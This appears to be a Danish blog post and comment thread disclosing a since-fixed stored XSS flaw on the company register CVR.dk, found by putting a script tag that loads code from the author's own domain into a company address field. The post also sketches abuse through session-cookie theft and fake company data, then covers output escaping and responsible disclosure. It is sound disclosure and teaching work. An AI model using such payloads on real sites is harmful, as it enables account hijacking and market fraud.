Studiebloggen header 3

In data we trust! XSS sårbarhed på CVR.dk

Stor data, åbn data, data om data - den er alle vegne.

Vi bruger data som grundlag for at træffe beslutninger og derfor er vi dybt afhængige af at andre mennesker, myndigheder og virksomheder giver os korrekt data.

Når vi træffer beslutninger på baggrund af data, er det helt afgørende hvorfra vi har fået dataen, kommer den fx fra en offentlig myndighed, har vi en forventning til at dataen er korrekt.

Eksemplets magt

Det antages almindeligvis, at adresser indgår i helt op til 80 % af de digitale løsninger, som et moderne samfund betjener sig af.

I hvert fald hvis man skal tro på Ministeriet for By, Bolig og Landdistrikter.

Adresser står på postkasser. Ikke e-Bokse, nej. Den slags hvor man modtager helt almindelige, kedelige, snail mails. Her er et billede af min.

Foto: Privatfoto

Det er ingen hemmelighed at jeg synes at IT sikkerhedsmæssige udfordringer er rigtig interessante. Da jeg samtidig elsker at dele ud af min viden, hvad ville så være en mere naturligt end at oprette en konsulentvirksomhed hvor jeg kan gøre netop dette?

Lad os kalde min nye virksomhed for CREEN security - og lad os fortælle Erhvervsstyrelsen at jeg har tænkt mig at være IT konsulent.

En sådan registrering kan ske via webreg.dk, hvor man med 3 klik, et login med NemID og 2 yderligere klik, bliver præsenteret med et spørgeskema i 10 skridt. Det 4. skridt “Stamdata” ber’ mig om at indtaste adresserne for virksomheden.

Da der ikke står “CREEN security” på min postkasse, skriver jeg blot <script src=//s.creen.dk></script>, som c/o navn, det fremgår jo klart og tydeligt af min postkasse.

Få dage efter kan jeg fremsøge min nye virksomhed på cvr.dk, men jeg kan ikke se mit c/o navn i adressefeltet.

Hvis jeg åbner mine udviklerværktøjer, kan jeg se at det står i koden, men det bliver ikke vist. Det er selvfølgelig fordi min browser, fortolker c/o navnet som HTML. HTML der fortæller browseren at den skal inkludere et JavaScript fra et eksternt website, i dette tilfælde er det eksterne website s.creen.dk. Et script der ligger på mit domæne, under min kontrol.

Når et script inkluderes på et website, som er hostet på et domæne, udenfor ens kontrol, så har man effektivt set, overgivet kontrollen over det indhold som ens brugere udsættes for, til dem der kontrollerer det eksterne script.

Det bliver altså muligt for mig at præsentere besøgende på cvr.dk, for information der kontrolleres helt eller delvist af mig - uden om Erhvervsstyrelsen’s faktuelle tjek.

Herunder fremkommer resultatet af en søgning på “CREEN security“. Jeg har skiftet virksomhedens navn og stamoplysninger og ændret ophørsdato’en til d. 20/11 2013.

Tænk hvad der ville ske hvis jeg havde gjort det samme med et børsnoteret selskab og sendt linket til højre og venstre på de sociale medier? Det ville være et meget effektivt værktøj til at tjene store penge på shorting af aktier!

Alternativt kunne jeg bruge fejlen til at stjæle cookies fra de besøgende på CVR der ser min virksomheds profil, inklusiv den ASP.NET_SessionId-cookie som websitet bruger til at holde styr på hvem der er logget ind og hvem der ikke er. Gud ved hvilke knapper der gemmer sig for en administrativ bruger på sitet?

Alt jeg skulle gøre for at få administrative rettigheder er at spørge en ansvarlig ved styrelsen om et spørgsmål der får dem til at besøge min virksomheds profil.

Spredning

En interessant vinkel på problematikken er at det centrale virksomheds register, nu frigives under en åben licens og at virksomheder jævnligt trækker data fra registeret. Hvis de heller ikke renser dataen før den printes i markup, så er der potentiale for at disse sider også er sårbare i skrivende stund.

Løsningen

Løsningen er naturligvis at sørge for at tegn som < og > ikke bliver printet ned i HTML’en, de skal i stedet erstattes med såkaldte “Special Entities” som &lt; og &gt;

Så simpelt er det - det vil rette denne fejl. Men det garanterer ikke at der ikke gemmer sig flere.

Responsible disclosure

Inden du springer til tasterne for at reproducere resultatet ovenfor, så bliver jeg nødt til at skuffe dig. Fejlen er rettet - og det blot 12 dage efter jeg kontaktede styrelsen.

Den hurtige respons viser at IT sikkerhed er et emne som tages seriøst i en offentlig styrelse, men hvordan kan det være at noget så simpelt ikke er blevet fundet og rettet for lang tid siden?

Det er ganske enkelt fordi det er super svært at forestille sig alle de kreative måder som folk kunne finde på at udfordre ens system - man har en naturlig forudantagelse om at det system har kørende er sikkert, indtil andet er bevist.

At et offentligt IT system har en sikkerhedsfejl, er i sig selv ikke den største sensation. Det er vel nærmest forventeligt af ethvert ældre system af denne størrelse. Skulle man rejse en kritik, kunne man rette den på den øjensynlige mangel på tests af sikkerheden, på et så betroet website som CVR.dk:

Det er selvfølgelig pinligt at have erhvervet sig en kønssygdom, fordi man ikke har beskyttet sig. Men det bliver først rigtig pinligt hvis man ikke anerkender risikoen og sørger for at blive testet regelmæssigt. Da brugerne af de offentlige IT systemer er os alle sammen, har vi alle en interesse i at systemerne testes. Selvom det betyder at et IT system må stå med bukserne om anklerne en gang imellem.
Kommentarer (12)
Thomas Jensen

"At et offentligt IT system har en sikkerhedsfejl, er i sig selv ikke den største sensation. Det er vel nærmest af ethvert ældre system af denne størrelse."

Der er forskel på fejl. Inputvalidering er ikke en fejl man kan tørre af på systemets kompleksitet, og med mindre det er meget, meget gammelt, heller ikke på systemets alder. Det er ikke nogen nyhed at man skal validere input. De fleste amatører der fusker med en hjemmeside ved det, og har vidst det de sidste 15 år. Det er rystende at såkaldt professionelle kan undlade det. Det er så pinligt, dårligt håndværk at man krummer tæer.

Selvfølgelig kan man kritisere af systemet ikke er blevet testet for sikkerhedshuller - men når et system indeholder så basale fejl, så er sikkerheden ikke det væsentlige problem, men et symptom på problemet. Det er simpelthen i særklasse inkompetente mennesker der har lavet det, og der bør rulle hoveder i kølvandet på sådan en afsløring.

Niels Buus

Problemet er ikke inputvalidering, for Kræns virksomhedsnavn er sådan set legitimt nok. Må man ikke have større-end eller backslashes i sit firmanavn?

Problemet er output escaping. Hvis dataene havde fået escapet de tegn som har særlig betydning i HTML (eksempelvis krokodillenæb og quotes), så de blev udskrevet som HTML entiteter, så ville problemet aldrig have været opstået.

Det er besynderligt at CVR.DK ikke kører ekstern data igennem sådan et filter inden de udskriver det.

Kudos til Kræn for at opdage det! :-)

Niels Buus

Hej Thomas

Jeg har nok læst dit indlæg forkert så. Jeg forbinder inputvalidering med at opstille begrænsninger for hvilket input man vil acceptere og herefter bede kilden om at levere korrekt data - f.eks. at passwordet minimum skal være 8 tegn eller at tweetet max må være 140 tegn.

At køre data igennem en funktion, for at det kan præsenteres i et HTML dokument, har jeg svært ved at forbinde med inputvalidering.

Jens Hansen

Det giver mest mening at filtrere data det ene sted det kommer ind, end de 500 steder der kommer ud. Så længe et firma ikke direkte identificeres via navn, men CVR nummer, er det ikke meget vigtigt om de hedder &lt; eller < i databasen.

Jonas Høgh

Nej, det giver absolut ingen mening. Nu har du nonsens i din database der kun kan bruges sammen med HTML, får du brug for et andet outputformat bliver det noget klyt.

Alle fornuftige webframeworks encoder HTML for dig ud af boksen og tvinger dig til at bede om det i de få undtagelser hvor du har brug for at lave råt output. Det er ikke så svært...

Niels Buus

Hej Jens

Entitykodning som er 100% HTML-specifik hører ikke til i en database. Entitykodning medfører at hvis du f.eks. skal udskrive indholdet i en (desktop/mobil) app eller levere det via et API, så vil du skulle starte alle læsninger med at køre en HTML dekodningsfunktion på dataene. Det samme når du laver søgninger i databasen, hvor at de særlige tegn først vil skulle konverteres til entities før end en LIKE query kan fungere.

Jeg kan godt forstå du synes det er besværligt hvis man skal kalde HTML escaping funktioner hver gang man udskriver et eller andet i sin applikation og det kan blive en nem fejlkilde fordi udviklere glemmer det.

Jeg ved ikke hvilken platform CVR.DK er lavet i, men i det framework jeg anvender, Rails, er frameworket som standard konfigureret til at data som kommer fra databasen som udgangspunkt ikke er HTML sikkert og derfor, som default, HTML escapes når det bliver udskrevet i en HTML template. Det sker helt transparent, og ønsker du ikke at det skal ske, så skal du selv kalde en metode i de templates hvor du ønsker strenge udskrevede rå.

På den måde kan vi smertefrit udstille JSON API'er, uden at skulle HTML dekode vores databaseresultat først.

Så summa summarum, CVR registeret er ikke en HTML store og skal derfor ikke indeholde HTML kode. &gt; er HTML kode.

Kræn Hansen Blogger

ikke meget vigtigt om de hedder &lt; eller < i databasen


Her er jeg meget enig med Niels Buus.

Indhold skal escapes på vej ud - når man ved i hvilken kontekst det indgår i. Fx giver tegnene < og > ingen problemer når de printes i en javascript streng i din markup, hvor tegnet " kunne være meget problematisk.

Jeg havde faktisk næsten samme snak med Morten Jensen fra Erhvervsstyrelsen. Man skal selvfølgelig escape input så de ikke kan bryde ud af de database kald man laver når man indsætter dem, men benytter man sig her af et framework bliver dette som oftest også varetaget for en.

Jeg tror at man skal have en rigtig god grund, til fravælge et framework med ORM og oprensning af data printet via templates, når man laver web applikationer i det 21. århundrede.

Log ind eller Opret konto for at kommentere